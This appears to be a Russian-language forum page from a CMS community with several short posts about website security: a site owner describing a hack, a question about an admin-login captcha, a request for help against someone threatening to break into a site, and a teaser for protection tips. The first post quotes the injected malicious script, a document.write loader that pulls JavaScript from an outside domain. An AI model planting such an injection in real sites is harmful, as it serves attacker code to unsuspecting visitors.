Всем привет!

Хочу поделиться некоторыми пережитым опытом и услышать мнения специалистов.

Не так давно на сайте, которым я занимаюсь более 3 лет, появился вредоносный код. Сайт имеет большую аудиторию и по этой причине стал жертвой хакера(ов).

В компилированные файлы шаблона вставлялся код следующего вида

<script>;document.write('<'+'script src=http://fljjsh'+'dqkrqq.ru/'+Math.round(Math.random()*99999999)+'.js></'+'script'+'>');</script>

Читать дальше →

Можно ли сделать каптчу при входе в админку? Если нет, то любой сайт взломать достаточно просто

Угрожает человек взломать сайт. Говорит что никакой защиты нет. Посоветуйте что можно сделать чтобы усложнить ему работу?

Что уже сделал
1. Нашел его IP (была учетная запись)- забанил его ip на хостинге (хоть что-то, хотя прокси не проблема вообще, но должно для него усложнить работу)
2. Делаю полные бекапы почаще

Все что нашел на сайте- livestreet.ru/blog/9359.html
Что-то можно еще сделать?

Говорит что банить его смысла нет так как сам себя разбанит

сайт www.slreloaded.ru
Посмотрите пожалуйста что с защитой не так?

Здравствуйте!

Хотел поделиться с вами советами по защите своего сайта от хакерских атак и других нелигитимных действий с вашим сайтом. Нет ничего идеального, а это на руку хакерам.
Есть несколько простых способов защитить сайт:
Читать дальше →